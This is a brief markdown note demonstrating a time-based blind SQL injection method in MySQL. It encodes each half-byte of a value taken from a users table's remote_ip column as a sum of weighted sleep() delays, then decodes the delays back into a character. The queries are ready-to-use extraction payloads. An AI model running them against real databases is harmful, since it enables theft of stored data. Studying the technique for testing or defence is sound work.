drunk.md

Sleep	Binary
15	1111
14	1110
13	1101
12	1100
11	1011
10	1010
9	1001
8	1000
7	0111
6	0110
5	0101
4	0100
3	0011
2	0010
1	0001
0	0000

mysql> SELECT if(1, sleep(1), 1);
(1.00 sec)
mysql> SELECT if(1, sleep(1), 1) + if(0, sleep(1), 1);
(1.01 sec)
mysql> SELECT if(1, sleep(1), 1) + if(0, sleep(1), 1) + if(1, sleep(1), 1);
(2.00 sec)
mysql> set @letter=(insert((select(remote_ip)from(users)),2,99,space(0)));
mysql> select if(ord(@letter)&128=128,sleep(8),0)+if(ord(@letter)&64=64,sleep(4),0)+if(ord(@letter)&32=32,sleep(2),0)+if(ord(@letter)&16=16,sleep(1),0);
(3.00 sec) -> 0011
mysql> select if(ord(@letter)&8=8,sleep(8),0)+if(ord(@letter)&4=4,sleep(4),0)+if(ord(@letter)&2=2,sleep(2),0)+if(ord(@letter)&1=1,sleep(1),0);
(1.00 sec) -> 0001
mysql> select char(cast(0b00110001 as unsigned integer))=@letter;
True